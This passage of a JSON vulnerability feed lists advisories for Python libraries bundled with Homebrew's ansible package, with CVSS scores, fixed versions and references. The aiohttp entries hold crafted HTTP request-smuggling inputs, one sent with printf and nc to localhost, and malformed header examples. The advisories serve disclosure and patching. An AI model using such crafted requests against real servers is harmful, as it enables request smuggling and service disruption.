fix":"bump","range_state":"fixed","upstream_fixed_in":"65.5.1","resource":"setuptools","resource_purl":"pkg:pypi/setuptools@84.2.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"setuptools","subject_version":"84.2.1","key":"pkg:pypi/setuptools@84.2.1","resource":"setuptools"}]},"summary":"pypa/setuptools vulnerable to Regular Expression Denial of Service (ReDoS)","details":"Python Packaging Authority (PyPA)'s setuptools is a library designed to facilitate packaging Python projects. Setuptools version 65.5.0 and earlier could allow remote attackers to cause a denial of service by fetching malicious HTML from a PyPI package or custom PackageIndex page due to a vulnerable Regular Expression in `package_index`. This has been patched in version 65.5.1.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:L/SI:L/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2022-40897"},{"type":"WEB","url":"https://github.com/pypa/setuptools/issues/3659"},{"type":"WEB","url":"https://github.com/pypa/setuptools/commit/43a9c9bfa6aa626ec2a22540bea28d2ca77964be"},{"type":"WEB","url":"https://setuptools.pypa.io/en/latest"},{"type":"WEB","url":"https://security.netapp.com/advisory/ntap-20240621-0006"},{"type":"WEB","url":"https://security.netapp.com/advisory/ntap-20230214-0001"},{"type":"WEB","url":"https://pyup.io/vulnerabilities/CVE-2022-40897/52495"},{"type":"WEB","url":"https://pyup.io/posts/pyup-discovers-redos-vulnerabilities-in-top-python-packages"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/YNA2BAH2ACBZ4TVJZKFLCR7L23BG5C3H"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ADES3NLOE5QJKBLGNZNI2RGVOSQXA37R"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/09/msg00018.html"},{"type":"WEB","url":"https://github.com/pypa/setuptools/compare/v65.5.0...v65.5.1"},{"type":"WEB","url":"https://github.com/pypa/setuptools/blob/fe8a98e696241487ba6ac9f91faa38ade939ec5d/setuptools/package_index.py#L200"},{"type":"PACKAGE","url":"https://github.com/pypa/setuptools"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/setuptools/PYSEC-2022-43012.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2023-26302","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-jrwr-5x3p-hvc3","CVE-2023-26302","PYSEC-2023-23"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.2.0","resource":"markdown-it-py","resource_purl":"pkg:pypi/markdown-it-py@4.2.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"markdown-it-py","subject_version":"4.2.0","key":"pkg:pypi/markdown-it-py@4.2.0","resource":"markdown-it-py"}]},"summary":"markdown-it-py Denial of Service vulnerability in the command line interface","details":"Denial of service could be caused to the command line interface of markdown-it-py, before v2.2.0, if an attacker was allowed to use invalid UTF-8 characters as input.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-26302"},{"type":"WEB","url":"https://github.com/executablebooks/markdown-it-py/pull/247"},{"type":"WEB","url":"https://github.com/executablebooks/markdown-it-py/commit/53ca3e9c2b9e9b295f6abf7f4ad2730a9b70f68c"},{"type":"PACKAGE","url":"https://github.com/executablebooks/markdown-it-py"},{"type":"WEB","url":"https://github.com/executablebooks/markdown-it-py/releases/tag/v2.2.0"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/markdown-it-py/PYSEC-2023-23.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2023-26303","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-vrjv-mxr7-vjf8","CVE-2023-26303","PYSEC-2023-24"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.2.0","resource":"markdown-it-py","resource_purl":"pkg:pypi/markdown-it-py@4.2.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"markdown-it-py","subject_version":"4.2.0","key":"pkg:pypi/markdown-it-py@4.2.0","resource":"markdown-it-py"}]},"summary":"markdown-it-py Denial of Service vulnerability","details":"Denial of service could be caused to markdown-it-py, before v2.2.0, if an attacker was allowed to force null assertions with specially crafted input.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-26303"},{"type":"WEB","url":"https://github.com/executablebooks/markdown-it-py/pull/246"},{"type":"WEB","url":"https://github.com/executablebooks/markdown-it-py/commit/53ca3e9c2b9e9b295f6abf7f4ad2730a9b70f68c"},{"type":"WEB","url":"https://github.com/executablebooks/markdown-it-py/commit/ae03c6107dfa18e648f6fdd1280f5b89092d5d49"},{"type":"PACKAGE","url":"https://github.com/executablebooks/markdown-it-py"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/markdown-it-py/PYSEC-2023-24.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2023-29483","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["GHSA-3rq5-2g8h-59hc","CVE-2023-29483","PYSEC-2026-1307","PYSEC-2026-2472"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.1.0"},{"fixed":"2.1.2.0"},{"introduced":"2.2.1.0"},{"fixed":"2.3.0.0"},{"introduced":"2.3.0.0_2"},{"fixed":"9.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.6.1","resource":"dnspython","resource_purl":"pkg:pypi/dnspython@2.9.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"dnspython","subject_version":"2.9.2","key":"pkg:pypi/dnspython@2.9.2","resource":"dnspython"}]},"summary":"Potential DoS via the Tudoor mechanism in eventlet and dnspython","details":"eventlet before 0.35.2, as used in dnspython before 2.6.0, allows remote attackers to interfere with DNS name resolution by quickly sending an invalid packet from the expected IP address and source port, aka a \"TuDoor\" attack. In other words, dnspython does not have the preferred behavior in which the DNS name resolution algorithm would proceed, within the full time window, in order to wait for a valid packet. NOTE: dnspython 2.6.0 is unusable for a different reason that was addressed in 2.6.1.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-29483"},{"type":"WEB","url":"https://github.com/eventlet/eventlet/issues/913"},{"type":"WEB","url":"https://github.com/rthalley/dnspython/issues/1045"},{"type":"WEB","url":"https://github.com/eventlet/eventlet/commit/51e3c4928d4938beb576eff34f3bf97e6e64e6b4"},{"type":"WEB","url":"https://github.com/rthalley/dnspython/commit/0ea5ad0a4583e1f519b9bcc67cfac381230d9cf2"},{"type":"PACKAGE","url":"https://github.com/eventlet/eventlet"},{"type":"WEB","url":"https://github.com/eventlet/eventlet/releases/tag/v0.35.2"},{"type":"WEB","url":"https://github.com/rthalley/dnspython/releases/tag/v2.6.0"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/NLRKR57IFVKQC2GCXZBFLCLBAWBWL3F6"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/VOHJOO3OM65UIUUUVDEXMCTXNM6LXZEH"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/X3BNSIK5NFYSAP53Y45GOCMOQHHDLGIF"},{"type":"WEB","url":"https://security.netapp.com/advisory/ntap-20240510-0001"},{"type":"WEB","url":"https://security.snyk.io/vuln/SNYK-PYTHON-DNSPYTHON-6241713"},{"type":"WEB","url":"https://www.dnspython.org"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2023-32681","published":"2026-08-13T16:35:22Z","modified":"2026-10-07T23:12:57Z","upstream":["GHSA-j8r2-6x86-q33q","CVE-2023-32681","PYSEC-2023-74"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.8.2_1"},{"fixed":"7.6.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.31.0","resource":"requests","resource_purl":"pkg:pypi/requests@2.34.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"requests","subject_version":"2.34.2","key":"pkg:pypi/requests@2.34.2","resource":"requests"}]},"summary":"Unintended leak of Proxy-Authorization header in requests","details":"### Impact\n\nSince Requests v2.3.0, Requests has been vulnerable to potentially leaking `Proxy-Authorization` headers to destination servers, specifically during redirects to an HTTPS origin. This is a product of how `rebuild_proxies` is used to recompute and [reattach the `Proxy-Authorization` header](https://github.com/psf/requests/blob/f2629e9e3c7ce3c3c8c025bcd8db551101cbc773/requests/sessions.py#L319-L328) to requests when redirected. Note this behavior has _only_ been observed to affect proxied requests when credentials are supplied in the URL user information component (e.g. `https://username:password@proxy:8080`).\n\n**Current vulnerable behavior(s):**\n\n1. HTTP → HTTPS: **leak**\n2. HTTPS → HTTP: **no leak**\n3. HTTPS → HTTPS: **leak**\n4. HTTP → HTTP: **no leak**\n\nFor HTTP connections sent through the proxy, the proxy will identify the header in the request itself and remove it prior to forwarding to the destination server. However when sent over HTTPS, the `Proxy-Authorization` header must be sent in the CONNECT request as the proxy has no visibility into further tunneled requests. This results in Requests forwarding the header to the destination server unintentionally, allowing a malicious actor to potentially exfiltrate those credentials.\n\nThe reason this currently works for HTTPS connections in Requests is the `Proxy-Authorization` header is also handled by urllib3 with our usage of the ProxyManager in adapters.py with [`proxy_manager_for`](https://github.com/psf/requests/blob/f2629e9e3c7ce3c3c8c025bcd8db551101cbc773/requests/adapters.py#L199-L235). This will compute the required proxy headers in `proxy_headers` and pass them to the Proxy Manager, avoiding attaching them directly to the Request object. This will be our preferred option going forward for default usage.\n\n### Patches\nStarting in Requests v2.31.0, Requests will no longer attach this header to redirects with an HTTPS destination. This should have no negative impacts on the default behavior of the library as the proxy credentials are already properly being handled by urllib3's ProxyManager.\n\nFor users with custom adapters, this _may_ be potentially breaking if you were already working around this behavior. The previous functionality of `rebuild_proxies` doesn't make sense in any case, so we would encourage any users impacted to migrate any handling of Proxy-Authorization directly into their custom adapter.\n\n### Workarounds\nFor users who are not able to update Requests immediately, there is one potential workaround.\n\nYou may disable redirects by setting `allow_redirects` to `False` on all calls through Requests top-level APIs. Note that if you're currently relying on redirect behaviors, you will need to capture the 3xx response codes and ensure a new request is made to the redirect destination.\n```\nimport requests\nr = requests.get('http://github.com/', allow_redirects=False)\n```\n\n### Credits\n\nThis vulnerability was discovered and disclosed by the following individuals.\n\nDennis Brinkrolf, Haxolot (https://haxolot.com/)\nTobias Funke, (tobiasfunke93@gmail.com)","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/psf/requests/security/advisories/GHSA-j8r2-6x86-q33q"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-32681"},{"type":"WEB","url":"https://github.com/psf/requests/commit/74ea7cf7a6a27a4eeb2ae24e162bcc942a6706d5"},{"type":"PACKAGE","url":"https://github.com/psf/requests"},{"type":"WEB","url":"https://github.com/psf/requests/releases/tag/v2.31.0"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/requests/PYSEC-2023-74.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/06/msg00018.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/AW7HNFGYP44RT3DUDQXG2QT3OEV2PJ7Y"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/KOYASTZDGQG2BWLSNBPL3TQRL2G7QYNZ"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202309-08"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2023-37276","published":"2026-08-13T16:35:22Z","modified":"2026-10-29T21:31:24Z","upstream":["GHSA-45c4-8wx5-qw6w","CVE-2023-37276","PYSEC-2023-120"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.8.5","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"aiohttp.web.Application vulnerable to HTTP request smuggling via llhttp HTTP request parser","details":"### Impact\n\naiohttp v3.8.4 and earlier are [bundled with llhttp v6.0.6](https://github.com/aio-libs/aiohttp/blob/v3.8.4/.gitmodules) which is vulnerable to CVE-2023-30589. The vulnerable code is used by aiohttp for its HTTP request parser when available which is the default case when installing from a wheel.\n\nThis vulnerability only affects users of aiohttp as an HTTP server (ie `aiohttp.Application`), you are not affected by this vulnerability if you are using aiohttp as an HTTP client library (ie `aiohttp.ClientSession`).\n\n### Reproducer\n\n```python\nfrom aiohttp import web\n\nasync def example(request: web.Request):\n    headers = dict(request.headers)\n    body = await request.content.read()\n    return web.Response(text=f\"headers: {headers} body: {body}\")\n\napp = web.Application()\napp.add_routes([web.post('/', example)])\nweb.run_app(app)\n```\n\nSending a crafted HTTP request will cause the server to misinterpret one of the HTTP header values leading to HTTP request smuggling.\n\n```console\n$ printf \"POST / HTTP/1.1\\r\\nHost: localhost:8080\\r\\nX-Abc: \\rxTransfer-Encoding: chunked\\r\\n\\r\\n1\\r\\nA\\r\\n0\\r\\n\\r\\n\" \\\n  | nc localhost 8080\n\nExpected output:\n  headers: {'Host': 'localhost:8080', 'X-Abc': '\\rxTransfer-Encoding: chunked'} body: b''\n\nActual output (note that 'Transfer-Encoding: chunked' is an HTTP header now and body is treated differently)\n  headers: {'Host': 'localhost:8080', 'X-Abc': '', 'Transfer-Encoding': 'chunked'} body: b'A'\n```\n\n### Patches\n\nUpgrade to the latest version of aiohttp to resolve this vulnerability. It has been fixed in v3.8.5: [`pip install aiohttp >= 3.8.5`](https://pypi.org/project/aiohttp/3.8.5/)\n\n### Workarounds\n\nIf you aren't able to upgrade you can reinstall aiohttp using `AIOHTTP_NO_EXTENSIONS=1` as an environment variable to disable the llhttp HTTP request parser implementation. The pure Python implementation isn't vulnerable to request smuggling:\n\n```console\n$ python -m pip uninstall --yes aiohttp\n$ AIOHTTP_NO_EXTENSIONS=1 python -m pip install --no-binary=aiohttp --no-cache aiohttp\n```\n\n### References\n\n* https://nvd.nist.gov/vuln/detail/CVE-2023-30589\n* https://hackerone.com/reports/2001873\n","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-45c4-8wx5-qw6w"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-37276"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/9337fb3f2ab2b5f38d7e98a194bde6f7e3d16c40"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/9c13a52c21c23dfdb49ed89418d28a5b116d0681"},{"type":"WEB","url":"https://hackerone.com/reports/2001873"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/blob/v3.8.4/.gitmodules"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/aiohttp/PYSEC-2023-120.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2023-4237","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["GHSA-ww3m-ffrm-qvqv","CVE-2023-4237","PYSEC-2026-1125"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","resource":"ansible-core","resource_purl":"pkg:pypi/ansible-core@2.21.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible-core","subject_version":"2.21.6","key":"pkg:pypi/ansible-core@2.21.6","resource":"ansible-core"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible may expose private key","details":"A flaw was found in the Ansible Automation Platform. When creating a new keypair, the ec2_key module prints out the private key directly to the standard output. This flaw allows an attacker to fetch those keys from the log files, compromising the system's confidentiality, integrity, and availability.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-4237"},{"type":"WEB","url":"https://access.redhat.com/errata/RHBA-2023:5653"},{"type":"WEB","url":"https://access.redhat.com/errata/RHBA-2023:5666"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2023-4237"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2229979"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2023-43804","published":"2026-08-13T16:35:22Z","modified":"2026-10-07T23:13:13Z","upstream":["GHSA-v845-jxx5-vc9f","CVE-2023-43804","PYSEC-2023-192"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.3.1.0"},{"fixed":"8.4.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.0.6","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"`Cookie` HTTP header isn't stripped on cross-origin redirects","details":"urllib3 doesn't treat the `Cookie` HTTP header special or provide any helpers for managing cookies over HTTP, that is the responsibility of the user. However, it is possible for a user to specify a `Cookie` header and unknowingly leak information via HTTP redirects to a different origin if that user doesn't disable redirects explicitly.\n\nUsers **must** handle redirects themselves instead of relying on urllib3's automatic redirects to achieve safe processing of the `Cookie` header, thus we decided to strip the header by default in order to further protect users who aren't using the correct approach.\n\n## Affected usages\n\nWe believe the number of usages affected by this advisory is low. It requires all of the following to be true to be exploited:\n\n* Using an affected version of urllib3 (patched in v1.26.17 and v2.0.6)\n* Using the `Cookie` header on requests, which is mostly typical for impersonating a browser.\n* Not disabling HTTP redirects\n* Either not using HTTPS or for the origin server to redirect to a malicious origin.\n\n## Remediation\n\n* Upgrading to at least urllib3 v1.26.17 or v2.0.6\n* Disabling HTTP redirects using `redirects=False` when sending requests.\n* Not using the `Cookie` header.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-v845-jxx5-vc9f"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-43804"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/01220354d389cd05474713f8c982d05c9b17aafb"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/644124ecd0b6e417c527191f866daa05a5a2056d"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/urllib3/PYSEC-2023-192.yaml"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/10/msg00012.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/12/msg00020.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/5F5CUBAN5XMEBVBZPHFITBLMJV5FIJJ5"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/I3PR7C6RJ6JUBQKIJ644DMIJSUP36VDY"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/NDAGZXYJ7H2G3SB47M453VQVNAWKAEJJ"},{"type":"WEB","url":"https://security.netapp.com/advisory/ntap-20241213-0007"},{"type":"WEB","url":"https://www.vicarius.io/vsociety/posts/cve-2023-43804-urllib3-vulnerability-3"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2023-45803","published":"2026-08-13T16:35:22Z","modified":"2026-10-07T23:13:07Z","upstream":["GHSA-g4mx-q9vg-27p4","CVE-2023-45803","PYSEC-2023-212"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.3.1.0"},{"fixed":"8.5.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.0.7","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"urllib3's request body not stripped after redirect from 303 status changes request method to GET","details":"urllib3 previously wouldn't remove the HTTP request body when an HTTP redirect response using status 303 \"See Other\" after the request had its method changed from one that could accept a request body (like `POST`) to `GET` as is required by HTTP RFCs. Although the behavior of removing the request body is not specified in the section for redirects, it can be inferred by piecing together information from different sections and we have observed the behavior in other major HTTP client implementations like curl and web browsers.\n\nFrom [RFC 9110 Section 9.3.1](https://www.rfc-editor.org/rfc/rfc9110.html#name-get):\n\n> A client SHOULD NOT generate content in a GET request unless it is made directly to an origin server that has previously indicated, in or out of band, that such a request has a purpose and will be adequately supported.\n\n## Affected usages\n\nBecause the vulnerability requires a previously trusted service to become compromised in order to have an impact on confidentiality we believe the exploitability of this vulnerability is low. Additionally, many users aren't putting sensitive data in HTTP request bodies, if this is the case then this vulnerability isn't exploitable.\n\nBoth of the following conditions must be true to be affected by this vulnerability:\n\n* If you're using urllib3 and submitting sensitive information in the HTTP request body (such as form data or JSON)\n* The origin service is compromised and starts redirecting using 303 to a malicious peer or the redirected-to service becomes compromised.\n\n## Remediation\n\nYou can remediate this vulnerability with any of the following steps:\n\n* Upgrade to a patched version of urllib3 (v1.26.18 or v2.0.7)\n* Disable redirects for services that you aren't expecting to respond with redirects with `redirects=False`.\n* Disable automatic redirects with `redirects=False` and handle 303 redirects manually by stripping the HTTP request body.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:A/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:A/AC:L/AT:P/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-g4mx-q9vg-27p4"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-45803"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/4e50fbc5db74e32cabd5ccc1ab81fc103adfe0b3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/4e98d57809dacab1cbe625fddeec1a290c478ea9"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/b594c5ceaca38e1ac215f916538fb128e3526a36"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/urllib3/PYSEC-2023-212.yaml"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/releases/tag/1.26.18"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/releases/tag/2.0.7"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/12/msg00020.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/4R2Y5XK3WALSR3FNAGN7JBYV2B343ZKB"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/5F5CUBAN5XMEBVBZPHFITBLMJV5FIJJ5"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PPDPLM6UUMN55ESPQWJFLLIZY4ZKCNRX"},{"type":"WEB","url":"https://www.rfc-editor.org/rfc/rfc9110.html#name-get"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2023-47627","published":"2026-08-13T16:35:22Z","modified":"2026-10-29T21:31:24Z","upstream":["GHSA-gfw2-4jvh-wgfg","CVE-2023-47627","PYSEC-2023-246"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.8.6","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"AIOHTTP has problems in HTTP parser (the python one, not llhttp)","details":"# Summary\nThe HTTP parser in AIOHTTP has numerous problems with header parsing, which could lead to request smuggling.\nThis parser is only used when `AIOHTTP_NO_EXTENSIONS` is enabled (or not using a prebuilt wheel).\n \n# Details\n\n## Bug 1: Bad parsing of `Content-Length` values\n\n### Description\nRFC 9110 says this:\n> `Content-Length = 1*DIGIT`\n\nAIOHTTP does not enforce this rule, presumably because of an incorrect usage of the builtin `int` constructor. Because the `int` constructor accepts `+` and `-` prefixes, and digit-separating underscores, using `int` to parse CL values leads AIOHTTP to significant misinterpretation.\n\n### Examples\n```\nGET / HTTP/1.1\\r\\n\nContent-Length: -0\\r\\n\n\\r\\n\nX\n```\n```\nGET / HTTP/1.1\\r\\n\nContent-Length: +0_1\\r\\n\n\\r\\n\nX\n```\n\n### Suggested action\nVerify that a `Content-Length` value consists only of ASCII digits before parsing, as the standard requires.\n\n## Bug 2: Improper handling of NUL, CR, and LF in header values\n\n### Description\nRFC 9110 says this:\n> Field values containing CR, LF, or NUL characters are invalid and dangerous, due to the varying ways that implementations might parse and interpret those characters; a recipient of CR, LF, or NUL within a field value MUST either reject the message or replace each of those characters with SP before further processing or forwarding of that message.\n\nAIOHTTP's HTTP parser does not enforce this rule, and will happily process header values containing these three forbidden characters without replacing them with SP.\n### Examples\n```\nGET / HTTP/1.1\\r\\n\nHeader: v\\x00alue\\r\\n\n\\r\\n\n```\n```\nGET 